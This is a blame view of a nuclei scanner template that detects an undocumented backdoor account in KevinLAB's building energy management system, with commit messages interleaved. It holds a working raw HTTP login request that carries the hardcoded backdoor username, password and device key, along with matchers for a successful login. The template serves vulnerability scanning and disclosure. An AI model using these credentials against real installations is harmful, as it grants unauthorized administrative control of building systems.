daffainfo
/
nuclei-templates
mirror of https://github.com/daffainfo/nuclei-templates.git
1
0
Fork 0
Code Issues Packages Projects Releases Wiki Activity
nuclei-templates/http/vulnerabilities/backdoor/kevinlab-bems-backdoor.yaml

43 lines
2.0 KiB
YAML
Raw Normal View History

Create kevinlab-bems-backdoor.yaml The BEMS solution has an undocumented backdoor account and these sets of credentials are never exposed to the end-user and cannot be changed through any normal operation of the solution thru the RMI. Attacker could exploit this vulnerability by logging in using the backdoor account with highest privileges for administration and gain full system control. The backdoor user cannot be seen in the users settings in the admin panel and it also uses an undocumented privilege level (admin_pk=1) which allows full availability of the features that the BEMS is offering remotely. Signed-off-by: GwanYeong Kim <gy741.kim@gmail.com>
2021-07-22 13:13:00 +00:00
id: kevinlab-bems-backdoor
info:
Enhancement: vulnerabilities/other/kevinlab-bems-backdoor.yaml by mp
2022-05-30 17:25:21 +00:00
name: KevinLAB BEMS (Building Energy Management System) - Backdoor Detection
Create kevinlab-bems-backdoor.yaml The BEMS solution has an undocumented backdoor account and these sets of credentials are never exposed to the end-user and cannot be changed through any normal operation of the solution thru the RMI. Attacker could exploit this vulnerability by logging in using the backdoor account with highest privileges for administration and gain full system control. The backdoor user cannot be seen in the users settings in the admin panel and it also uses an undocumented privilege level (admin_pk=1) which allows full availability of the features that the BEMS is offering remotely. Signed-off-by: GwanYeong Kim <gy741.kim@gmail.com>
2021-07-22 13:13:00 +00:00
author: gy741
severity: critical
Enhancement: vulnerabilities/other/kevinlab-bems-backdoor.yaml by mp
2022-05-30 17:25:21 +00:00
description: KevinLAB BEMS has an undocumented backdoor account, and these sets of credentials are never exposed to the end-user and cannot be changed through any normal operation of the solution through the RMI. An attacker could exploit this vulnerability by logging in using the backdoor account with highest privileges for administration and gain full system control. The backdoor user cannot be seen in the users settings in the admin panel, and it also uses an undocumented privilege level (admin_pk=1) which allows full availability of the features that the BEMS is offering remotely.
refactor: Description field uniformization * info field reorder * reference values refactored to list * added new lines after the id and before the protocols * removed extra new lines * split really long descriptions to multiple lines (part 1) * other minor fixes
2022-04-22 10:38:41 +00:00
reference:
- https://www.zeroscience.mk/en/vulnerabilities/ZSL-2021-5654.php
Added max request counter of each template
2023-04-28 08:11:21 +00:00
metadata:
max-request: 1
templateman update
2023-10-14 11:27:55 +00:00
tags: kevinlab,backdoor
Create kevinlab-bems-backdoor.yaml The BEMS solution has an undocumented backdoor account and these sets of credentials are never exposed to the end-user and cannot be changed through any normal operation of the solution thru the RMI. Attacker could exploit this vulnerability by logging in using the backdoor account with highest privileges for administration and gain full system control. The backdoor user cannot be seen in the users settings in the admin panel and it also uses an undocumented privilege level (admin_pk=1) which allows full availability of the features that the BEMS is offering remotely. Signed-off-by: GwanYeong Kim <gy741.kim@gmail.com>
2021-07-22 13:13:00 +00:00
Refactoring the directory structure based on protocols (#7137) * moving http templates * updated cves.json * moved network CVEs * updated scripts * updated workflows * updated requests to http * replaced network to tcp --------- Co-authored-by: sandeep <8293321+ehsandeep@users.noreply.github.com>
2023-04-27 04:28:59 +00:00
http:
Create kevinlab-bems-backdoor.yaml The BEMS solution has an undocumented backdoor account and these sets of credentials are never exposed to the end-user and cannot be changed through any normal operation of the solution thru the RMI. Attacker could exploit this vulnerability by logging in using the backdoor account with highest privileges for administration and gain full system control. The backdoor user cannot be seen in the users settings in the admin panel and it also uses an undocumented privilege level (admin_pk=1) which allows full availability of the features that the BEMS is offering remotely. Signed-off-by: GwanYeong Kim <gy741.kim@gmail.com>
2021-07-22 13:13:00 +00:00
- raw:
- |
POST /http/index.php HTTP/1.1
Host: {{Hostname}}
Accept: application/json, text/javascript, */*; q=0.01
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
requester=login&request=login&params=%5B%7B%22name%22%3A%22input_id%22%2C%22value%22%3A%22kevinlab%22%7D%2C%7B%22name%22%3A%22input_passwd%22%2C%22value%22%3A%22kevin003%22%7D%2C%7B%22name%22%3A%22device_key%22%2C%22value%22%3A%22a2fe6b53-e09d-46df-8c9a-e666430e163e%22%7D%2C%7B%22name%22%3A%22auto_login%22%2C%22value%22%3Afalse%7D%2C%7B%22name%22%3A%22login_key%22%2C%22value%22%3A%22%22%7D%5D
Update kevinlab-bems-backdoor.yaml
2021-07-23 21:47:53 +00:00
Create kevinlab-bems-backdoor.yaml The BEMS solution has an undocumented backdoor account and these sets of credentials are never exposed to the end-user and cannot be changed through any normal operation of the solution thru the RMI. Attacker could exploit this vulnerability by logging in using the backdoor account with highest privileges for administration and gain full system control. The backdoor user cannot be seen in the users settings in the admin panel and it also uses an undocumented privilege level (admin_pk=1) which allows full availability of the features that the BEMS is offering remotely. Signed-off-by: GwanYeong Kim <gy741.kim@gmail.com>
2021-07-22 13:13:00 +00:00
matchers-condition: and
matchers:
- type: regex
Update kevinlab-bems-backdoor.yaml
2022-05-31 08:59:07 +00:00
part: body
Create kevinlab-bems-backdoor.yaml The BEMS solution has an undocumented backdoor account and these sets of credentials are never exposed to the end-user and cannot be changed through any normal operation of the solution thru the RMI. Attacker could exploit this vulnerability by logging in using the backdoor account with highest privileges for administration and gain full system control. The backdoor user cannot be seen in the users settings in the admin panel and it also uses an undocumented privilege level (admin_pk=1) which allows full availability of the features that the BEMS is offering remotely. Signed-off-by: GwanYeong Kim <gy741.kim@gmail.com>
2021-07-22 13:13:00 +00:00
regex:
- 'data":"[A-Za-z0-9-]+'
- 'login_key":"[A-Za-z0-9-]+'
condition: or
Update kevinlab-bems-backdoor.yaml
2021-07-24 06:37:27 +00:00
- type: word
Update kevinlab-bems-backdoor.yaml
2022-05-31 08:59:07 +00:00
part: body
Update kevinlab-bems-backdoor.yaml
2021-07-24 06:37:27 +00:00
words:
- '"result":true'
Create kevinlab-bems-backdoor.yaml The BEMS solution has an undocumented backdoor account and these sets of credentials are never exposed to the end-user and cannot be changed through any normal operation of the solution thru the RMI. Attacker could exploit this vulnerability by logging in using the backdoor account with highest privileges for administration and gain full system control. The backdoor user cannot be seen in the users settings in the admin panel and it also uses an undocumented privilege level (admin_pk=1) which allows full availability of the features that the BEMS is offering remotely. Signed-off-by: GwanYeong Kim <gy741.kim@gmail.com>
2021-07-22 13:13:00 +00:00
- type: status
status:
- 200
TemplateMan Update [Fri Oct 20 11:41:12 UTC 2023] :robot:
2023-10-20 11:41:13 +00:00
# digest: 490a0046304402205e3572d4a95673e965e1d5deb6c15a9f24102514de567dae8424f5cbe63075f90220189bc8311529bc2c0ef82527b1d3813ab422832f9ed04b8b9f181fbf33d789f8:922c64590222798bb761d5b6d8e72950